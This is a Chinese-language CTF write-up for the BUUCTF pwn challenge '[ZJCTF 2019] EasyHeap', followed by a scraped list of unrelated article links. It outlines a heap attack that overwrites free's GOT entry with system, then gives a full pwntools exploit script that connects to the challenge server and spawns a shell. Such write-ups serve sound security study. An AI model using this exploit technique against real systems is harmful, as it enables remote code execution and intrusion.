[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap

思路

我们第一个想法肯定是执行l33t这个函数,事实证明被摆了一道。没有结果,
但是我们有system函数我们可以将其放入我们可以操控的函数,比如printf、puts、gets、free等函数的got表,通过传入/bin/sh来解决。利用堆漏洞就可以达到其目的。

exploit

from pwn import *context(os='linux',arch='amd64',log_level='debug')p = remote("node4.buuoj.cn",28081)
elf = ELF('easyheap')
p.sendafter('Your choice :',b'1\n')
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n')
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'3\n')   # free 1
p.sendafter('Index :','1\n')payload = p64(0x0) * 13 + p64(0x71)  + p64(0x6020ad) + p64(0x0)
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)p.sendafter('Your choice :',b'1\n')
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')p.sendafter('Your choice :',b'1\n')
p.sendafter('Size of Heap : ',b'96\n')
p.sendafter('Content of heap:',b'\n')payload = b'a' * 35 + p64(elf.got['free'])
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'2\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',payload)sys_addr = 0x400700
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'0\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',p64(sys_addr))binsh = '/bin/sh\x00'
p.sendafter('Your choice :',b'2\n')
p.sendafter('Index :',b'1\n')
p.sendafter('Size of Heap : ',b'1000\n')
p.sendafter('Content of heap : ',binsh)p.sendafter('Your choice :',b'3\n')
p.sendafter('Index :',b'1\n')p.interactive()

[BUUCTF-pwn]——[ZJCTF 2019]EasyHeap相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. [ZJCTF 2019]EasyHeap-house of spirit

    [ZJCTF 2019]EasyHeap-house of spirit 先给出exp,exp中我标明了每一个步骤 每个步骤执行完后,内存中的地址空间我也贴出来了 exp from pwn impor ...

  3. [BUUCTF-pwn]——[ZJCTF 2019]Login

    [BUUCTF-pwn]--[ZJCTF 2019]Login 题目地址:https://buuoj.cn/challenges#[ZJCTF%202019]Login 这道题学习还是很多的, 有的时 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. [ZJCTF 2019]NiZhuanSiWei

    [ZJCTF 2019]NiZhuanSiWei 这道题所有的考点我都了解过,甚至用来出过类似的题目,但是作者把它们套娃得非常不错,做下来感觉非常有意思! 考点 include 和 file_get_ ...

  6. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  7. BUUCTF Reverse/[GWCTF 2019]pyre

    BUUCTF Reverse/[GWCTF 2019]pyre 下载得到一个pyc文件,用这个在线反编译pyc,pyo反汇编出代码 print 'Welcome to Re World!' print ...

  8. 2021-09-01[ZJCTF 2019]NiZhuanSiWei

    [ZJCTF 2019]NiZhuanSiWei 首先根据连接打开得到一个,PHP源码: 根据源码分析,我们需要GET三个参数分别是:text,file,password 首先需要检查是否对text传 ...

  9. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

最新文章

  1. 树莓派~ubuntu开机自启动
  2. 新冠疫苗厂商科兴成立房地产公司?网友:准备打疫苗送房子了?
  3. Jmeter调用自定义jar包
  4. WordPress添加固定位置的百度分享按钮
  5. HR PNPCE rp-provide-from-last报错
  6. Java小游戏 —— 德州扑克
  7. 【Kubernetes】k8s 的基本使用指令
  8. 如何查看SQL Server2000执行过的SQL语句
  9. 口音与方言语音识别研究进展
  10. C++ Primer 第4章数组和指针
  11. mac读写ntfs工具
  12. FLOPs衡量模型复杂度
  13. 【目标定位】基于matlab扩展卡尔曼滤波目标定位仿真【含Matlab源码 128期】
  14. 南阳oj-----找球号(一)(set)
  15. python replace_Python replace()方法
  16. RiceQuant开源框架RQAlpha阅读笔记(转)
  17. 支持断点续传的大文件传输协议
  18. 推荐个不错的 Word 全文翻译和压缩工具!
  19. java代码实现端口是否ping通
  20. LOJ 3090 「BJOI2019」勘破神机——斯特林数+递推式求通项+扩域

热门文章

  1. 计算机pc软盘不能数字,老人把遗嘱存5寸软盘难坏家人 老电脑终未读出
  2. php项目技术选型方案,php-现有资源下,项目技术选型求助
  3. ⚡关于Eastmount博客「网络安全自学篇」系列重要通知!!!⚡
  4. [论文阅读] (06) 万字详解什么是生成对抗网络GAN?经典论文及案例普及
  5. Python:matplotlib绘图
  6. 面试题 17.13. 恢复空格
  7. 如何将CSV数据存储到Hive
  8. Go 语言编写 CPython 扩展 goPy
  9. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1053:最大数输出
  10. 信息学奥赛一本通(C++)在线评测系统——基础(一)C++语言—— 1044:判断是否为两位数